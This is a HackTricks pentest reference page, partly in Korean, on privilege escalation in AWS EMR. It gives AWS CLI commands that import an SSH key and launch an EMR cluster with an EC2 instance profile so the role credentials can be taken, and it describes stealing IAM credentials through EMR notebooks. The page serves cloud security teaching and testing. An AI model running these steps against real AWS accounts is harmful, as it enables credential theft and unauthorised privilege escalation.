AWS - EMR Privesc

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

EMR

EMR에 대한 추가 정보는:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

이 권한을 가진 공격자는 EC2 roles를 연결한 새로운 EMR cluster를 실행하고 해당 자격 증명(credentials)을 탈취하려 시도할 수 있습니다.
이를 위해서는 계정에 import된 일부 ssh priv key를 알고 있거나 하나를 import할 수 있어야 하며, 마스터 노드에서 open port 22가 가능해야 합니다(--ec2-attributes 내부의 EmrManagedMasterSecurityGroup 및/또는 ServiceAccessSecurityGroup 속성으로 이를 설정할 수 있을 수 있습니다).

bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Note how an EMR role is specified in --service-role and a ec2 role is specified in --ec2-attributes inside InstanceProfile. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.

참고: EMR role--service-role에 지정되고, ec2 roleInstanceProfile 안의 --ec2-attributes에 지정됩니다. 하지만 이 기법은 (ssh로 연결하므로) EC2 role 자격증명만 탈취할 수 있으며 EMR IAM Role은 탈취할 수 없습니다.

Potential Impact: 지정된 EC2 service role로의 Privesc

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

With these permissions an attacker can go to the AWS console, create a Notebook and access it to steal the IAM Role.

caution

Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.

이 권한들을 가진 공격자는 AWS console에 접속해 Notebook을 생성하고 접근하여 IAM Role을 탈취할 수 있습니다.

caution

제 테스트에서는 Notebook instance에 IAM role을 연결해도 관련 IAM role의 자격증명이 아니라 AWS managed credentials를 탈취할 수 있음을 확인했습니다.

Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 Privesc

elasticmapreduce:OpenEditorInConsole

Just with this permission an attacker will be able to access the Jupyter Notebook and steal the IAM role associated to it.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

이 권한 하나만으로 공격자는 Jupyter Notebook에 접근하여 그에 연관된 IAM role을 탈취할 수 있습니다.
노트북의 URL은 https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/ 입니다.

caution

Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related

caution

제 테스트에서는 Notebook instance에 IAM role을 연결해도 관련 IAM role의 자격증명이 아니라 AWS managed credentials를 탈취할 수 있음을 확인했습니다.

Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile로의 Privesc

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기